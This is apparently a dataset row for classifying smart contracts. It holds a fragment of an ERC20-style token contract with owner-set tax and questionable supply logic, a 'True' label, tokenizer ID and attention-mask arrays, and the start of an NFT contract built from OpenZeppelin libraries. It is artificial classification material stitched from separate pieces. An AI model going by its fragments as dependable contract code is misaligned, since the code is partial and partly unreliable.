function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 10) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2603,
1008,
1013,
1013,
1008,
5965,
13109,
7076,
5524,
2003,
2019,
14430,
9476,
2839,
1998,
1996,
4888,
1997,
1002,
5965,
2003,
2881,
2000,
10377,
9387,
2005,
7570,
19422,
1521,
13749,
1998,
14899,
5344,
2004,
2057,
18280,
28272,
1998,
4604,
2023,
2911,
3495,
2000,
1996,
4231,
1012,
1056,
2290,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
5965,
18715,
2368,
2609,
1024,
16770,
1024,
1013,
1013,
5965,
18715,
2368,
1012,
2522,
1013,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
5965,
18715,
8625,
2705,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2184,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
// File: contracts/azuki4people.sol
/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
// File: contracts/Azuki4People.sol
/**
*Submitted for verification at Etherscan.io on 2022-02-28
*/
// File: contracts/Azuki4People.sol
/**
*Submitted for verification at Etherscan.io on 2022-02-25
*/
// File: contracts/Azuki4People.sol
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
// File: contracts/Azuki4People.sol
/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
// File: contracts/Azuki4People.sol
/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/interfaces/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/interfaces/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/interfaces/IERC2981.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
